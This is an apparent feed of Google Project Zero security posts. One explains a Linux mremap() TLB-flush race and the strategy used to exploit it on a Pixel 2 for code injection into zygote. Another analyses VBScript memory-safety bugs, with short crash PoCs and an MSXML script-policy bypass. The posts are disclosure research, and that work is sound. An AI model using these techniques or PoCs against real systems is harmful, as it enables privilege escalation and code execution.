Security

Taking a page from the kernel's book: A TLB issue in mremap()

Google Project Zero - Thu, 01/17/2019 - 11:44
Posted by Jann Horn, Project Zero
This is a technical blog post about TLB flushing bugs in kernels, intended for people interested in kernel security and memory management.Introduction: Bugs in Memory Management codeThere have been some pretty scary bugs in memory management in the past, like:
  • CVE-2016-5195, a logic bug in the Linux kernel that permitted writing to shared read-only pages
  • CVE-2018-1038, a Windows bug that existed for about two months, where a bit was set incorrectly in a page table, permitting userspace to overwrite page tables

Memory management is one of the core functions that every kernel and hypervisor needs to implement; and the correctness of memory management code is very important to the security of the entire system. I hope that this post encourages more researchers to look at memory management code and demonstrates that memory management code can have issues with high security impact that fall somewhat outside of the typical security bug patterns.
This blog post focuses on memory management bugs related to TLB flushing. Such bugs can, if the timing works out for the attacker, provide very strong exploitation primitives for local attacks; and they are hard to discover unless you are manually looking for them. They are probably not a big bug class, but occasionally, bugs in TLB flushing logic do happen.
Here are the bugs related to TLB flushing that I have (co-)discovered:
  • Xen PV: XSA-241: "Stale TLB entry due to page type release race" (CVE-2017-15588) (security impact discovered by Xen security team)
  • Linux: insufficient shootdown for paging-structure caches (link)
  • gVisor: pagetable reuse across levels without paging-structure invalidation (link)
  • [XNU: pmap_flush() omits TLB flushes on machines with >32 logical CPU cores (link) - this was already fixed in a binary release when I reported it, so it doesn't really count]
  • Linux: mremap() TLB flush too late with concurrent ftruncate() (link) (CVE-2018-18281)

This blog post focuses on the last bug in the list.
By the way: Note that the gVisor bug is in memory management code written in Go, which is memory-safe-ish. This demonstrates that in operating system code, "logic bugs" in some places, like page table management, can have consequences that are as severe as those of classical memory safety issues, and are not in the scope of the language's safety guarantees. Of course, memory-safe languages are still highly useful because they (should) prevent bugs in random, non-critical pieces of kernel code from corrupting completely unrelated system state, and they allow reviewers to spend more time on the security-critical parts of the system.Introduction: TLBs and paging-structure cachesIf you know what a TLB is, what a TLB flush is, what paging-structure caches are, and how paging-structure caches are managed, you can skip this section. This section does not exhaustively describe the topic of TLB management; in particular, it doesn't deal with processor features like global page table entries and PCID/ASID.
Page tables contain information on how virtual addresses map to physical ones. Page tables are stored in memory, so they are comparatively slow to access; to make address translation fast, CPUs use caches. The classic caches for this are called Translation Lookaside Buffers (TLBs); they cache mappings from virtual to physical page addresses (including mappings for huge pages), or in other words, they (more or less) cache last-level page table entries. (Modern CPU cores often have multiple TLBs with different responsibilities, e.g. Intel CPUs have an instruction TLB, a data TLB and a shared L2 TLB.) TLB parameters are usually fairly well-documented; for example:

Paging-structure caches are usually less well-documented; but there is official documentation about their existence and necessary precautions when dealing with them. Intel calls them "Paging-Structure Caches", Arm calls them "Intermediate table walk caches", AMD documents them as part of the L2 data TLB (at least for 17h processors). Paging-structure caches store copies of non-last-level page table entries; they are used when a virtual address without a corresponding TLB entry is being accessed, and they reduce the number of memory accesses for a page table walk. There are some reverse-engineered details about the paging-structure caches of various processors in a VUSec paper (in Table 1).
It generally has to be assumed that entries in TLBs and paging-structure caches can be evicted by the processor whenever it wants to. Similarly, it has to be assumed that a processor can create entries in TLBs and paging-structure caches from page table entries whenever it wants to, because memory accesses in speculatively executed code can create such entries.
Mechanisms to invalidate TLB entries and paging-structure caches differ between processor architectures:
X86 provides instructions to invalidate either individual TLB entries for the current logical CPU core, or to invalidate the entire TLB (either with or without global entries) for the current logical CPU core. Invalidating the TLB entry for a virtual address also at least implies invalidation of any paging-structure cache entries that could be used for translating that virtual address. The Intel SDM documents this in volume 3A, chapter 4.10.4 ("Invalidation of TLBs and Paging-Structure Caches"). (The SDM says that INVLPG invalidates all paging-structure caches, but doesn't make such broad guarantees for individual-address INVPCID as far as I can tell.) To perform TLB invalidation across logical CPU cores, an operating system has to manually run code that invalidates TLB entries on each logical CPU core; this is normally implemented by sending Inter-Processor Interrupts (via APIC) from the processor that wants to perform a TLB invalidation to all other processors that might have relevant stale TLB or paging-structure cache entries.
The ARM architecture provides magic instructions that can perform cross-core TLB invalidation for you; however, if you also need to synchronize against page table walks implemented in software (like the Linux kernel), you may have to send IPIs anyway (depending on the synchronization mechanism used for page table walks).
The general code pattern for performing cache invalidations for page table entries is:
  1. Remove an entry from a page table, but keep holding a reference to the physical page it points to.
  2. Perform a TLB flush (either for a specific address, or for the entire address space) across all cores that might be using the same page tables as the current thread.
  3. Drop the reference that was held on the physical page, potentially freeing it.

This pattern is the same both when unmapping normal data pages and when removing page tables. It can often be batched for better performance - first remove multiple page table entries, then do one TLB flush across cores, then drop all the page references -, but for the mapping of an individual page (including page tables), this pattern is generally true.
On X86 (but ARM64 is similar), there are two bits in a last-level PTE which the CPU can write into as part of address translation: The Accessed bit specifies whether the CPU has ever used the page table entry for address translation; in other words, if the Accessed bit is unset, the value of the page table entry has not been cached by the TLB since the last time the page table entry was written by software. The Dirty bit specifies whether the CPU has ever used the page table entry for a writing memory access; in other words, if the Dirty bit is unset, no TLB entries that can be used to write to the physical page have been created since the last software write to the PTE.Linux: mremap() TLB flush too lateThe bugOn Linux, memory management data structures of a process are protected by multiple locks; in particular, the read/write semaphore mmap_sem in struct mm_struct is used to protect the VMA (virtual memory area) structures, and page table locks (if the kernel is configured normally, implemented using per-page-table spinlocks for lower-level page tables) are used to protect access to page tables. Accesses to the page tables of a process for syscalls such as mmap()/mremap()/munmap(), as well as syscalls for page fault handling, use both the mmap_sem and page table locks. However, some other types of page table access (e.g. operations on all places across the system where a given file is mapped, like an ftruncate() syscall that shrinks a file and frees pages beyond the new end of the file) don't hold the mmap_sem and only use page table locks.
The mremap() syscall allows userspace to move a VMA and its associated page table entries. This syscall moves page tables via mremap_to() -> move_vma() -> move_page_tables() -> move_ptes(). The  move_ptes() function implemented roughly the following logic for moving entries between two L1 page tables, with only the mmap_sem held initially (locked in exclusive mode):
  1. (Take reverse map locks in some cases if the new VMA has been merged into an adjacent VMA.)
  2. Take page table locks on the old and new page tables.
  3. (Do a TLB flush if the direct reclaim path is in the middle of stealing some pages from the current process.)
  4. For each non-empty entry in the relevant range of the current source page table:
    1. Atomically read the current value of the page table entry and clear it (using ptep_get_and_clear(), which e.g. on X86 boils down to a LOCK XCHG).
    2. If the read page table entry is Dirty, set the local force_flush flag to true.
    3. Write the read page table entry into the page table for the new mapping.
  5. Unlock the new page table.
  6. If the force_flush flag was set, perform a TLB flush on the old page table entries that were accessed in step 4.
  7. Unlock the old page table.
  8. (Drop reverse map locks if they were taken.)
  9. If the force_flush flag wasn't set, signal to the caller move_page_tables() that a TLB flush is required.

Later, after iterating over multiple page tables, move_page_tables() then performs a TLB flush on the old address range if requested.
move_ptes() needs to ensure that, when it releases the old page table's reference, there can be no more stale TLB entries. There is nothing in move_ptes() that explicitly drops a reference, but move_ptes() moves the reference into the new page table entry. While the page table locks on the new page table are held, other tasks running concurrently can't yet remove the new page table entry and drop its reference, so things are still fine after step 4c - the page can't be freed. But after step 5, another task can theoretically race with mremap() and drop the page. This is long before move_page_tables() performs the relevant TLB flush on the old address range (this is the bug I reported), and also slightly before the TLB flush is performed in the force_flush case (I didn't notice that, but the kernel security team did).
On modern kernels, the big race window only works for non-Dirty page table entries - in other words, the big race window can only be used for use-after-free reads, not use-after-free writes. However, before commit 5d1904204c99 (from November 2016, first in v4.9), the special case for Dirty page table entries did not exist, and the big race window was also usable for use-after-free writes.
Almost everyone is using kernel versions >=4.9 nowadays - for example, Debian stable ships a kernel based on 4.9. But there are some exceptions: RHEL still ships 3.10-based kernels, and many Android devices are based on kernels older than 4.9. For example, the kernel branches used by Google's Pixel phones are:
  • Google Pixel: 3.18
  • Google Pixel 2: 4.4
  • Google Pixel 3: 4.9

I decided to write an exploit for Google's Pixel 2.Locks and preemptionThis section, along with the following one, describes some background that will be useful for developing an exploit strategy.
The Linux kernel supports three different models for preemption of kernel code, one of which has to be selected at build time:
  • CONFIG_PREEMPT_NONE ("No Forced Preemption (Server)")
  • CONFIG_PREEMPT_VOLUNTARY ("Voluntary Kernel Preemption (Desktop)")
  • CONFIG_PREEMPT ("Preemptible Kernel (Low-Latency Desktop)")

(More preemption types are coming with the realtime patchset, but that hasn't landed yet.)
The preemption model determines what happens when the kernel wishes to interrupt a task that is currently running kernel code - e.g. because a task with higher priority has become runnable and is waiting to be scheduled.
The Pixel 2 uses a kernel configured with CONFIG_PREEMPT. This means that by default, kernel code can be interrupted at any point during its execution. This even works while a task is holding a mutex, while it is holding a semaphore, or while it is in an RCU read-side critical section (depending on kernel configuration). Only something like a spinlock actually suppresses preemption.
As an attacker, we would like to make the race window between the time move_ptes() drops the page table lock and the time the TLB flush occurs in move_page_tables() as big as possible. Here, it is very useful for us that kernel code is preemptible: Because only the mmap_sem is held across the race window, and the mmap_sem does not inhibit preemption, we can potentially convince the scheduler to kick the task off the CPU core while it is in the middle of the race window, and then keep the task off the CPU for an amount of time on the order of milliseconds.
The kernel allows us to set the affinity of our tasks (the list of CPU cores on which a task is allowed to run), and it also allows us to set various scheduler parameters that control the relative priority of our tasks. This means that we can use affinity masks to pin multiple processes we own together onto a single CPU core, with different priorities - meaning that waking up the higher-priority task implies preemption of the lower-priority one. In this case, by assigning the SCHED_IDLE priority to the task running mremap(), pinning it together with a task that has normal priority and is blocking on a read() from a pipe, and then writing to the other side of that pipe in the right moment, we can preempt the mremap() syscall.
To know the right moment for calling write() on the other end of the pipe, we can abuse procfs. The procfs file /proc/<pid>/status contains various fields about the memory use of a process, including the VmPTE field, which shows the amount of memory consumed by the page tables of a process. By busy-polling the status file and monitoring the VmPTE field, it is possible to detect the page table allocations performed by the mremap() syscall.The page allocatorThe Linux page allocator is based on a buddy allocator, implemented in mm/page_alloc.c. This allocator tracks free pages of different orders; an order-n page is 212+n bytes big and is aligned to a 212+n-byte boundary (assuming that the system is using a native page size of 212 bytes).
Page freelists are not just per-order, but also per-zone, per-migration-type and (on NUMA systems, which isn't relevant for Android phones) per-node.
The zone specifies in which ways a page can be used; pages stay associated with a single zone. The following zones can exist; bold text indicates that the zone actually exists on the Pixel 2:
  • ZONE_DMA: like ZONE_NORMAL, but can also be used for DMA with devices that can only address a small subset of physical memory (used by arm64 before kernel 4.16)
  • ZONE_DMA32: like ZONE_NORMAL, but can also be used for DMA with devices that can only use 32-bit physical addresses (used by arm64 since kernel 4.16)
  • ZONE_NORMAL: can be used for normal kernel memory allocations and as userspace memory; page is mapped in the linear mapping
  • ZONE_HIGHMEM: Can only be used for special types of kernel memory allocations and as userspace memory; page is not mapped in the linear mapping. This doesn't exist on arm64, since virtual memory is large enough to map all physical memory.
  • ZONE_MOVABLE: manually reserved for pages that the kernel can (usually) move to a different physical address when needed (basically, userspace memory); this enables limited memory hotplugging and reduces fragmentation (which can help with the allocation of hugepages); the Pixel 2 doesn't seem to be using this
  • ZONE_DEVICE: something about persistent memory? - arm64 never uses this


The migration type of a page specifies either what kind of allocation the page is currently being used for (if the page is currently in use) or what kind of allocation the page should preferably be used for (if the page is free); the intent is to cluster pages that the kernel can reclaim by moving their contents together, allowing the kernel to later create high-order free pages by moving data out of the way. The following migration types exist:

The first two or three of these are the most relevant ones - the rest are kinda special.
The page allocator also has per-cpu, per-zone, per-migratetype freelists as a performance optimization. These only contain order-0 pages. In kernel versions <4.15, one annoying thing about the per-cpu freelists is that they can be accessed from both sides. Normal freelist accesses push and pop on the same end so that pages coming from the freelist are more likely to be in the CPU cache; but when freeing pages that are expected to be cache-cold, and when allocating pages that have to wait for DMA before they are written to the first time, old kernel versions access the freelist from the other end.
The algorithm for allocating pages via get_page_from_freelist(), before entering the slowpath, works roughly as follows (ignoring things like NUMA and atomic/realtime allocations):
  • For each zone (from the most preferred zone to the least preferred zone); in other words, on the Pixel 2, when allocating non-DMA memory, first for ZONE_NORMAL, then for ZONE_DMA:
    • rmqueue_pcplist(): If we want an order-0 page, attempt to allocate from the per-cpu freelist for the current zone and our preferred migratetype. If this freelist is empty, try to refill it by looking through the per-order freelists for the current zone and our preferred migratetype, starting at order 0, iterating through the freelists with increasing order (standard buddy allocator behavior).
    • Attempt to allocate from the buddy allocator directly, by iterating through the per-order freelists for the current zone and our preferred migratetype with increasing order.
    • If we want a movable page, attempt to allocate from MIGRATE_CMA memory instead.
    • __rmqueue_fallback(): Tries to grab a free block of maximum order from a freelist with a different migration type, then potentially changes that block's migration type to the desired one.

For an attacker attempting to exploit a use-after-free at the page allocator level, this means that getting the kernel to reallocate a movable page for an unmovable allocation, or the other way around, requires creating memory pressure that forces the buddy allocator to go through __rmqueue_fallback() and steal pages from a different migration type.Exploit strategyFor exploiting the TLB invalidation race, we want to quickly reallocate the freed movable page from the page cache. Preferably we'll do this through a per-cpu freelist, so it is probably easier to have it reallocated as a movable page instead of forcing a migratetype change. With this strategy, we can't attack things like normal kernel memory allocations or page tables, but we can attack the page cache and anonymous userspace memory. I chose to poison page cache memory, since I wanted to avoid having other userspace processes in the critical timing path of the attack.
This means that at a high level, to perform the attack, we need to pick a victim file page (in other words, a page-aligned and page-sized area in a file) that we want to corrupt, in a file to which we have read-only access (e.g. a shared library containing executable code). Then, we need to poison the page cache entry for the victim file page by running roughly the following steps in a loop:
  1. Somehow evict the victim file page from the page cache.
  2. Allocate a set of file-backed pages (e.g. by writing to a memfd), and map them as mapping A.
  3. Trigger the mremap/ftruncate race to free the file-backed pages without removing the corresponding TLB entries for mapping A.
  4. Start a read from the victim page, causing the kernel to reallocate one of the freed pages as the page cache entry for the victim page.
  5. Poll the contents of pages in mapping A (through the stale TLB entries) until one of them contains the victim page. If a page fault occurs before that, go back to step 1.
  6. At this point, we have a stale TLB entry translating the old mapping A to the victim page. Therefore, we can now repeatedly overwrite the victim page through mapping A. (In theory, it seems like a single overwrite should be sufficient; but in practice, that doesn't seem to work. I'm not sure whether this is caused by some sort of cache inconsistency (because memory is concurrently written via DMA and by software), or whether I did something else wrong.)


On kernels <4.15, because of the annoying two-sided behavior of the per-cpu freelist, when a new physical page is allocated to store the victim page, it comes from the "cold" end of the per-cpu freelist; so instead of simply pushing a page with a stale TLB entry onto the per-cpu freelist and letting the kernel use it for the victim page, it is necessary to quickly push enough pages with stale TLB entries to force the kernel to move all existing per-cpu freelist entries to the global freelist.Forcing page cache reloadsThis section focuses on the first step of the exploit strategy, evicting the victim page from the page cache.
Public prior research on this topic that I used for my PoC is https://arxiv.org/abs/1710.00551 ("Another Flip in the Wall of Rowhammer Defenses"), which uses page cache eviction as a mechanism to repeatedly move file-backed pages to different physical pages. This paper says in section VIII-B:
A fundamental observation we made is that the replacement algorithm of the Linux page cache prioritizes eviction of nonexecutable pages over executable pages.
In shrink_active_list() and page_check_references() in mm/vmscan.c, you can see that file-backed executable pages indeed get special handling:
static void shrink_active_list(unsigned long nr_to_scan,                   struct lruvec *lruvec,                   struct scan_control *sc,                   enum lru_list lru){[...]    /*     * Identify referenced, file-backed active pages and     * give them one more trip around the active list. So     * that executable code get better chances to stay in     * memory under moderate memory pressure.  Anon pages     * are not likely to be evicted by use-once streaming     * IO, plus JVM can create lots of anon VM_EXEC pages,     * so we ignore them here.     */    if ((vm_flags & VM_EXEC) && page_is_file_cache(page)) {        list_add(&page->lru, &l_active);        continue;    }[...]}[...]static enum page_references page_check_references(struct page *page,                          struct scan_control *sc){[...]    /*     * Activate file-backed executable pages after first usage.     */    if (vm_flags & VM_EXEC)        return PAGEREF_ACTIVATE;
   return PAGEREF_KEEP;[...]}
Therefore, executable file-backed pages are used to create memory pressure to evict the victim page.
For this attack, it is also desirable that the victim page, once evicted, is not reloaded from disk until it is accessed the next time. This is not always the case: The kernel has some readahead logic that, depending on the observed memory access pattern, may read large amounts of data (up to VM_MAX_READAHEAD, which is 128KiB) around a page fault from disk. This is implemented in filemap_fault() by calling into do_async_mmap_readahead() / do_sync_mmap_readahead(). An attacking process can simply opt out of this for its own accesses, but it is also desirable to suppress this behavior for accesses coming from other processes that might be executing code from other pages in the victim file.
For this reason, the PoC first evicts the victim page, then accesses all other pages in the victim file through a mapping with MADV_RANDOM to reduce the probability that accesses to those other pages trigger readahead logic: When a page being accessed is present in RAM, synchronous readahead won't happen; and when the page being accessed with a minor fault (i.e. the page is present in the page cache, but no corresponding page table entry exists yet) is not marked as PG_readahead, asynchronous readahead won't happen either.Picking a victim pageMy exploit targets a victim page in the library /system/lib64/libandroid_runtime.so that contains the function com_android_internal_os_Zygote_nativeForkAndSpecialize(). This function is executed in the context of the zygote process whenever an app process needs to be launched — in other words, it shouldn't run very often on an idle device, meaning that we can evict it and then have time to trigger the bug —, and we can trigger its execution by launching an isolated service, so we can easily cause its execution immediately after successfully triggering the bug. The zygote process has the CAP_SYS_ADMIN capability (and is permitted to use it), and because its job is to fork off children that become app processes and system_server, it has access to the contexts of system_server and every app.
To demonstrate that the code injection into the zygote is working, the injected code reads its own SELinux context and then overwrites the hostname with that string (using sethostname()).Putting it togetherThe exploit is packaged in an app that, when you press the "run" button, first uses the code in eviction.c to flush the victim page in /system/lib64/libandroid_runtime.so from the page cache; afterwards, the code in sched_test.c is used to trigger the mremap bug and overwrite the victim page. If sched_test.c reports that it has successfully located and overwritten the targeted code page, the Java code launches the isolated app TriggerService to trigger execution of com_android_internal_os_Zygote_nativeForkAndSpecialize(); otherwise, the attack is restarted.
sched_test.c executes the following threads:
  • idle_worker(): on core 4, with SCHED_IDLE priority; is moved to core 3 during the attack
  • spinner(): on core 4, with normal priority
  • nicer_spinner(): on core 3, with normal priority
  • read_worker(): on core 5, with normal priority
  • main(): on core 6, with normal priority

The following screenshot shows the running exploit, which has performed a few exploit attempts already, but hasn't managed to visibly trigger the bug yet:

In the next screenshot, the exploit has managed to read data through the stale TLB entry, but still hasn't managed to locate and overwrite the victim page:

In the third screenshot, the exploit has succeeded:
TimelineThis bug was reported to the Linux kernel on 2018-10-12.A fix was committed and made public six days later, on 2018-10-18.Two days after that, on 2018-10-20, new upstream stable kernels were released on the branches 4.9, 4.14 and 4.18.On 2018-10-29, we published the bug report.On 2018-11-10, an upstream backport on the 4.4 branch was released.On 2018-11-14, we published the exploit described in this blogpost.
It took more than two months for the upstream kernel change to make its way to user devices; writing an exploit for this bug took far less time.ConclusionThere isn't really an overarching conclusion here, but some takeaways:
  • Bugs in TLB flushing logic can be exploitable and lead to system compromise from unprivileged userspace.
  • When trying to exploit a use-after-free of a physical page on Linux, keep in mind that the page allocator will try to avoid changing the migration types of pages, so usually movable pages (anonymous userspace memory and page cache) will be reused as movable pages, and unmovable pages (normal kernel memory) will be reused as unmovable pages.
  • Knowing a bit about the scheduler, and in particular preemption, can be very helpful for widening kernel race windows. Linux exposes fairly powerful control over scheduling to unprivileged userspace.
  • Android takes months to ship an upstream kernel security fix to users; it would be nice if that was significantly faster.
Categories: Security

On VBScript

Google Project Zero - Wed, 12/19/2018 - 13:41
Posted by Ivan Fratric, Google Project Zero
Introduction
Vulnerabilities in the VBScript scripting engine are a well known way to attack Microsoft Windows. In order to reduce this attack surface, in Windows 10 Fall Creators Update, Microsoft disabled VBScript execution in Internet Explorer in the Internet Zone and the Restricted Sites Zone by default. Yet this did not deter attackers from using it - in 2018 alone, there have been at least two instances of 0day attacks using vulnerabilities in VBScript: CVE-2018-8174 and CVE-2018-8373. In both of these cases, the delivery method for the exploit were Microsoft Office files with an embedded object which caused malicious VBScript code to be processed using the Internet Explorer engine. For a more detailed analysis of the techniques used in these exploits please refer to their analysis by the original discoverers here and here.
Because of this dubious popularity of VBScript, multiple security researchers took up the challenge of finding (and reporting) other instances of VBScript vulnerabilities, including a number of variants of those vulnerabilities used in the wild. Notably, researchers working with the Zero day initiative discovered multiple instances of vulnerabilities relying on VBScript Class_Terminate callback and Yuki Chen of Qihoo 360 Vulcan Team discovered multiple variants of CVE-2018-8174 (one of the exploits used in the wild).
As a follow up to those events, this blog post tries to answer the following question: Despite all of the existing efforts from Microsoft and the security community, how easy is it to still discover new VBScript vulnerabilities? And how strong are Windows policies intended to stop these vulnerabilities from being exploited?
Even more VBScript vulnerabilities
The approach we used to find VBScript vulnerabilities was quite straightforward: We used the already published Domato grammar fuzzing engine and wrote a grammar that describes the built-in VBScript functions, various callbacks and other common patterns. This is the same approach we used successfully previously to find multiple vulnerabilities in the JScript scripting engine and it was relatively straightforward to do the same for VBScript. The grammar and the generator script can be found here.
This approach resulted in uncovering three new VBScript vulnerabilities that we reported to Microsoft and are now fixed. The vulnerabilities are interesting, not because they are complex, but precisely for the opposite reason: they are pretty straightforward (yet, somehow, still survived to this day). Additionally, in several cases, there are parallels that can be drawn between the vulnerabilities used in the wild and the ones we found.
To demonstrate this, before taking a look at the first vulnerability the fuzzer found, let’s take a look at a PoC for the latest VBScript 0day found in the wild:
Class MyClass  Dim array    Private Sub Class_Initialize    ReDim array(2)  End Sub
 Public Default Property Get P    ReDim preserve array(1)  End PropertyEnd Class
Set cls = new MyClasscls.array(2) = cls
Trend Micro has a more detailed analysis, but in short, the most interesting line is
cls.array(2) = cls
In it, the left side is evaluated first and the address of variable at cls.array(2) is computed. Then, the right side is evaluated, and because cls is an object of type MyClass which has a default property getter, it triggers a callback. Inside the callback, the array is resized and the address of the variable computed previously is no longer valid - it now points to the freed memory. This results in writing to a freed memory when the line above gets executed.
Now, let’s compare this sample to the PoC for the first issue we found:
Class MyClass  Private Sub Class_Terminate()    dict.RemoveAll  End SubEnd Class
Set dict = CreateObject("Scripting.Dictionary")Set dict.Item("foo") = new MyClassdict.Item("foo") = 1
On the first glance, this might not appear all that similar, but in reality they are. The line that triggers the issue is
dict.Item("foo") = 1
In it, once again, the left side is allocated first and the address of dict.Item("foo") is computed. Then, a value is assigned to it, but because there is already a value there it needs to be cleared first. Since the existing value is of the type MyClass, this results in a Class_Terminate() callback, in which the dict is cleared. This, once again, causes that the address computed when evaluating the left side of the expression now points to a freed memory.
In both of these cases, the pattern is:
  1. Compute the address of a member variable of some container object
  2. Assign a value to it
  3. Assignment causes a callback in which the container storage is freed
  4. Assignment causes writing to a freed memory

The two differences between these two samples are that:
  1. In the first case, the container used was an array and in the second it was a dictionary
  2. In the first case, the callback used was a default property getter, and in the second case, the callback was Class_Terminate.

Perhaps it was because this similarity with a publicly known sample that this variant was also independently discovered by a researcher working with Trend Micro's Zero Day Initiative and Yuki Chen of Qihoo 360 Vulcan Team. Given this similarity, it would not be surprising if the author of the 0day that was used in the wild also knew about this variant.
The second bug we found wasn’t directly related to any 0days found in the wild (that we know about), however it is a classic example of a scripting engine vulnerability:
Class class1  Public Default Property Get x    ReDim arr(1)  End PropertyEnd Class
set c = new class1arr = Array("b", "b", "a", "a", c)Call Filter(arr, "a")
In it, a Filter function gets called on an array. The Filter function walks the array and returns another array containing just the elements that match the specified substring ("a" in this case). Because one of the members of the input array is an object with a default property getter, this causes a callback, and in the callback the input array is resized. This results in reading variables out-of-bounds once we return from the callback into the implementation of the Filter function.
A possible reason why this bug survived this long could be that the implementation of the Filter function tried to prevent bugs like this by checking if the array size is larger (or equal) than the number of matching objects at every iteration of the algorithm. However, this check fails to account for array members that do not match the given substring (such as elements with the value of "b" in the PoC).
In their advisory, Microsoft (initially) incorrectly classified the impact of this issue as an infoleak. While the bug results in an out-of-bounds read, what is read out-of-bounds (and subsequently returned to the user) is a VBScript variable. If an attacker-controlled data is interpreted as a VBScript variable, this can result in a lot more than just infoleak and can easily be converted into a code execution. This issue is a good example of why, in general, an out-of-bounds read can be more than an infoleak: it always depends on precisely what kind of data is being read and how it is used.
The third bug we found is interesting because it is in the code that was already heavily worked on in order to address CVE-2018-8174 and the variants found by the Qihoo 360 Vulcan Team. In fact, it is possible that the bug we found was introduced when fixing one of the previous issues.
We initially became aware of the problem when the fuzzer generated a sample that resulted in a NULL-pointer dereference with the following (minimized) PoC:
Dim a, r
Class class1End Class
Class class2  Private Sub Class_Terminate()    set a = New class1  End SubEnd Class
a = Array(0)set a(0) = new class2Erase aset r = New RegExpx = r.Replace("a", a)
Why does this result in a NULL-pointer dereference? This is what happens:
  1. An array a is created. At this point, the type of a is an array.
  2. An object of type class2 is set as the only member of the array
  3. The array a is deleted using the Erase function. This also clears all array elements.
  4. Since class2 defines a custom destructor, it gets called during Erase function call.
  5. In the callback, we change the value of a to an object of type class1.The type of a is now an object.
  6. Before Erase returns, it sets the value of variable a to NULL. Now, a is a variable with the type object and the value NULL.
  7. In some cases, when a gets used, this leads to a NULL-pointer dereference.

But, can this scenario be used for more than a NULL-pointer dereference. To answer this question, let’s look at step 5. In it, the value of a is set to an object of type class1. This assignment necessarily increases the reference count of a class1 object. However, later, the value of a is going to be set to NULL without decrementing the reference count. When the PoC above finishes executing, there will be an object of type class1 somewhere in memory with a reference count of 1, but no variable will actually point to it. This leads us to a reference leak scenario. For example, consider the following PoC:
Dim a, c, i
Class class1End Class
Class class2  Private Sub Class_Terminate()    set a = c  End SubEnd Class
Set c = New class1For i = 1 To 1000  a = Array(0)  set a(0) = new class2  Erase aNext
Using the principle described above, the PoC above will increase the reference count for variable c to 1000 when in reality only one object (variable c) will hold a reference to it. Since a reference count in VBScript is a 32-bit integer, if we increase it sufficient amount of times, it is going to overflow and the object might get freed when there are still references to it.
The above is not exactly true, because custom classes in VBScript have protection against reference count overflows, however this is not the case for built-in classes, such as RegExp. So, we can just use an object of type RegExp instead of class1 and the reference count will overflow eventually. As every reference count increase requires a callback, “eventually” here could mean several hours, so the only realistic exploitation scenario would be someone opening a tab/window and forgetting to close it - not really an APT-style attack (unlike the previous bugs discussed) but still a good example how the design of VBScript makes it very difficult to fix the object lifetyme issues.
Hunting for reference leaks
In an attempt to find more reference leaks issues, a simple modification was made to the fuzzer: A counter was added and, every time a custom object was created, in the class constructor, this counter was increased. Similarly, every time an object was deleted, this counter was decreased in the class destructor. When a sample finishes executing and all variables are clear, if this counter is larger than 0, this means there was a reference leak somewhere.
This approach immediately resulted in a variant to the previously described reference leak, which is almost identical but uses ReDim instead of Erase. Microsoft responded that they are considering this a duplicate of the Erase issue.
Unfortunately there is a problem with this approach that prevents it from discovering more interesting reference leak issues: The approach can’t distinguish between “pure” reference leak issues and reference leak issues that are also memory leak issues and thus don’t necessarily have the same security impact. One example of issues this approach gets stuck on are circular references (imagine that object A has a reference to object B and object B also has reference to object A). However, we still believe that finding reference leaks can be automated as described later in this blog post.
Bypassing VBScript execution policy
As mentioned in the introduction, in Windows 10 Fall Creators Update, Microsoft disabled VBScript execution in Internet Explorer in the Internet Zone and the Restricted Sites Zone by default. This is certainly a step in the right direction. However, let’s also examine the weaknesses in this approach and its implementation.
Firstly, note that, by default, this policy only applies to the Internet Zone and the Restricted Sites Zone. If a script runs (or an attacker can make it run) in the Local Intranet Zone or the Trusted Sites Zone, the policy simply does not apply. Presumably this is to strike a balance between the security for the home users and business users that still rely on VBScript on their local intranet. However, it is somewhat debatable whether leaving potential gaps in the end-user security vs. having (behind-the-times) businesses that still rely on VBScript change a default setting strikes the right balance. In the future, we would prefer to see VBScript completely disabled by default in the Internet Explorer engine.
Secondly, when implementing this policy, Microsoft forgot to account for some places where VBScript code can be executed in Internet Explorer. Specifically, Internet Explorer supports MSXML object that has the ability to run VBScript code in XSL Transformations, for example like in the code below.
<?xml version='1.0'?><xsl:stylesheet version="1.0"      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"      xmlns:msxsl="urn:schemas-microsoft-com:xslt"      xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="vbscript" implements-prefix="user"> Function xml(str)           a = Array("Hello", "from", "VBscript")           xml = Join(a) End Function</msxsl:script>
<xsl:template match="/">   <xsl:value-of select="user:xml(.)"/></xsl:template>
</xsl:stylesheet>
Microsoft did not disable VBScript execution for MSXML, even for websites running in the Internet Zone. This issue was reported to Microsoft and fixed at the time of publishing this blog post. Interestingly, this is not the first time dangerous functionality was forgotten in MSXML, for example, there was also a fairly straightforward RCE bug earlier this year.
You might think that all of these issues are avoidable if Internet Explorer isn’t used for web browsing, but unfortunately the problem with VBScript (and IE in general) runs deeper than that. Most Windows applications that render web content do it using the Internet Explorer engine, as is the case with Microsoft Office that was used in the recent 0days. It should be said that, earlier this year, Microsoft disabled VBScript creation in Microsoft Office (at least the most recent version), so this popular vector has been blocked. However, there are other applications, including those from third parties, that also use IE engine for rendering web content.
Future research ideas
During this research, some ideas came up that we didn’t get around to implement. Rather than sitting on them, we’ll list them here in case a reader looking for a light research project wants to pick one of them up:
  • Combine VBScript fuzzer with the JScript fuzzer in a way that allows VBScript to access JScript objects/functions and vice-versa. Perhaps issues can be found in the interaction of these two engines. Possibly callbacks from one engine (e.g. default property getter from VBScript) can be triggered in unexpected places in the other engine.

  • Create a better tool for finding reference leaks. This could be accomplished by running IE in the debugger and setting breakpoints on object creation/deletion to track addresses of live objects. Afterwards, memory could be scanned similarly to how it was done here to find if there are any objects alive (with reference count >0) that are not actually referenced from anywhere else in the memory (note: Page Heap should be used to ensure there are no stale references from freed memory).

  • Other objects. During the previous year, a number of bugs were found that rely on Scripting.Dictionary object. Scripting.Dictionary is not one of the built-in VBScript objects, but rather needs to be instantiated using CreateObject function. Are there any other objects available from VBScript that would be interesting to fuzz?

Conclusion
VBScript is a scripting engine from a time when a lot of today’s security considerations weren’t in the forefront of anyone’s thoughts. Because of this, it shouldn’t be surprising that it is a crowd favorite when it comes to attacking Windows systems. And although it received a lot of attention from the security community recently, new vulnerabilities are still straightforward to find.
Microsoft made some good steps in attack surface reduction recently. However in combination with an execution policy bypasses and various applications relying on Internet Explorer engine to render web content, these bugs could still endanger even users using best practices on up-to-date systems. We hope that, in the future, Microsoft is going to take further steps to more comprehensively remove VBScript from all security-relevant contexts.
Categories: Security

Searching statically-linked vulnerable library functions in executable code

Google Project Zero - Tue, 12/18/2018 - 13:37
Helping researchers find 0ld days
